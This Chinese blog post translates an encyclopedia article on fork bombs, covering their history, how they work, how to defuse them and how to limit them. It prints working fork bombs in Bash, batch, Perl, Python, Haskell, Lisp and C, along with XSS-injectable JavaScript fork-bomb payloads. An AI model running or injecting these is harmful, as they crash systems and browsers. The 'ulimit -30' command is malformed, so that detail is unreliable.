代码说

code is poetry

代码说    
碎碎念:关于多啦A梦(其实那时候大家都是叫叮当猫啊),我印象最深的一集:用时光机找坏蛋。  换一换

Fork bomb

作者:coderzheng 发布于:2014-12-20 17:16 Saturday 分类:other  阅读模式

《Linux SHELL脚本攻略》中提到了"fork bomb":

我顺便翻译了一下:

(1) 前言

在计算机技术中,fork炸弹(也被称为兔子病毒或者wabbit)是一种拒绝服务攻击,攻击中一个进程持续复制其自身以耗尽系统可用资源,从而引发资源短缺、使系统变慢甚至崩溃。

(2) 历史

1978年,据报道在加尼福尼亚一个被称为wabbit的fork炸弹变种被运行在System/360系统上。这个变种可能是从另一种相似的攻击程序(被称为RABBITS)中遗传下来的,RABBITS首次出现在1969年华盛顿大学的一个Burroughs 5500系统上。

(3) 实施

fork炸弹运行时不仅会不断的自我复制消耗CPU时间,同时也会填满操作系统的进程表格。一个基本的fork炸弹实施方案是使用一个能反复产生相同进程的无限循环。

在类Unix的操作系统中,fork炸弹通常使用fork系统调用。由于fork进程也是第一个程序的复制,一旦它们从帧指针的下一个地址继续执行,它们就会开始创建自身的副本。这种情况具有引发指数级进程增长的效果。由于现代unix系统在产生新进程时通常使用写时复制的技术,因此fork炸弹一般不会填满系统的内存。

由于微软的windows系统并没有unix的"fork系统调用"相同的功能,因此在这样的操作系统上一个fork炸弹会创建一个新的进程而不是从一个已经存在的进程中复制。

fork炸弹实例
一个使用Bash shell的fork炸弹:
:(){ :|:& };: 一个使用MS windows批处理语言的fork炸弹:
:s
start "" %0
goto s
和上面的一样,但是程序更简短: %0|%0 一个使用perl解释器的内联shell语句:
perl -e "fork while fork" & 使用python:
import os
while True:
     os.fork()
或者使用Haskell:
import Control.Monad (forever)
import System.Posix.Process (forkProcess)

forkBomb = forever $ forkProcess forkBomb

main = forkBomb
或者使用Common Lisp(Clozure CL):
(loop (#_fork)) 或者使用C:
#include <unistd.h>
int main(void)
{
         while(1)
                 fork(); }
Javascript代码
Javascript代码可以通过使用一种XSS方式的漏洞注入到网页中,从而引发一串不断产生弹窗的无限循环:
<script>
while (true) {
  var w = window.open();
  w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}
</script>
或者,一个更容易的注入,如上所示的使用事件欺骗攻击的更难检查的版本:
<a href="#" onload="function() { while (true) { var w = window.open(); w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML); } }">XSS fork bomb</a> 或者,一个更具侵略性的版本:
<script>
setInterval(function() {
  var w = window.open();
  w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>

(4) 拆除

得益于fork炸弹与生俱来的本质,它们一旦被启动就很难被阻止。要阻止一个fork炸弹不断地进行繁殖,需要终结所有的进程副本,而这是很难做到的。我们面临的第一个问题是,如果进程表格被填满,一个终结fork炸弹的独立程序是无法运行的。第二个主要的问题是,在寻找进程终结它们和真正终结它们这段时间内,更多的进程已经被创建起来了。
有些fork炸弹相对来说比较容易被拆除。看看下面这个非常难理解的用shell脚本写的fork炸弹:
:(){ :|: & };: 将函数标识符:替换成bomb重新改造之后,代码变成了:
bomb() {
  bomb | bomb &
};
bomb
由于使用了&运算符,这个实例中的fork炸弹是一个无限递归的运行在后台的函数。这就让它能使子进程不会死亡,并且持续不断地复制下去,消耗系统资源。
这段计算机代码的重要特征是,直到不再进行fork,fork炸弹才不会驻留和退出。这样看来,如果我们也试着经常产生一个新的进程,最终总有一个进程会被成功创建。如果这个新的进程什么也不做,那么每个我们运行的"什么也不做"的进程就会减少fork炸弹的进程数目(一个),直到所有的炸弹被拆除。这时,这些什么也不做的进程也会退出。下面这段简短的Z Shell代码能在大约一分钟内拆除上面的fork炸弹。
while (sleep 100 &) do; done 或者,也可以阻止(冷冻)炸弹进程让后来的kill/killall命令能终结它们,不让它们可以因新产生的进程而不断复制自身:
killall -STOP processWithBombName
killall -KILL processWithBombName
当系统进程数量较少时(在linux中进程最大数量可以从文件/proc/sys/kenerl/pid_max处获取),拆除炸弹会更困难:
$ killall -9 processWithBombName
bash: fork: Cannot allocate memory
这种情况下,拆除炸弹至少要开一个shell才有可能做到。进程也许不会再产生,但是当前shell也可以运行任何程序。通常,只有一种尝试是可能的。
killall -9 不会直接运行在shell中(因为这个命令不是原子的),而且也不会锁住进程,因此当它运行完时fork炸弹已经提前做了一些操作。因此必须运行一组killall进程,比如:
while :; do killall -9 processWithBombName; done 在linux中,由于进程表格可以通过/proc文件系统访问,因此可以通过使用内建的bash命令来拆除炸弹,而不需要生成新的进程。下面的例子能识别攻击性的进程,并且会挂起这些进程以阻止它们不断产生新进程(当杀死它们时)。这就消除了它和其他程序之间的竞争(在这种竞争中,其余的进程会失败(如果这些攻击性的进程产生的速度快过它们被杀死))。
cd /proc && for p in [0-9]*; do read cmd < "$p/cmdline"; if  [[ $cmd = processWithBombName ]]; then kill -s STOP "$p" || kill -s KILL "$p"; fi; done

(5) 阻止

由于fork炸弹的操作模式是完全通过产生新进程来封装自己,一种阻止它影响整个系统的方式是限制进程的最大数目(一个独立用户可能拥有的)。在linux中,可以通过ulimit命令来达到。比如:
下面的命令 ulimit -30 将会限制受影响的用户最多产生的进程数目为30。在PAM-enabled系统中,这个限制也可以通过/etc/security/limits.conf文件来设置。而在FreeBSD系统中,管理员可以在/etc/login.conf文件中进行相关设置。


参考:
fork bomb:  http://en.wikipedia.org/wiki/Fork_bomb

(全文完)


标签: fork炸弹

你可以发表评论、引用到你的网站或博客,或通过RSS 2.0订阅这个博客的所有文章。
上一篇: 从陈皓的"痛恨手册"说起  |  下一篇:升级APMServ5.2.6中的php版本